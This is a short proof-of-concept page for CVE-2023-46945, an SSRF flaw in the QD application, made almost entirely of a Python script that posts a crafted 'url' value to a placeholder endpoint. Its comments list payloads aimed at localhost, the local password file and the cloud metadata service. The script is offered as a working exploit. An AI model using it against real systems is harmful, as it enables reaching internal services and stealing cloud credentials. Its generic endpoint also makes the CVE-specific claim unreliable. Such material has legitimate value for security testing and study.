CVE-2023-46945 QD服务端请求伪造漏洞

import requests # Target URL of the vulnerable QD application target_url = "http://<target_ip>:<port>/api/endpoint" # Malicious payload demonstrating SSRF (e.g., accessing local metadata) # Common test payloads: http://127.0.0.1, file:///etc/passwd, http://169.254.169.254/latest/meta-data/ payload = { "url": "http://127.0.0.1:8080" } try: # Send the crafted request to trigger the vulnerability response = requests.post(target_url, data=payload, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] SSRF Triggered successfully!") print("Response:", response.text) else: print("[-] Failed to trigger SSRF. Status code:", response.status_code) except Exception as e: print("Error:", str(e))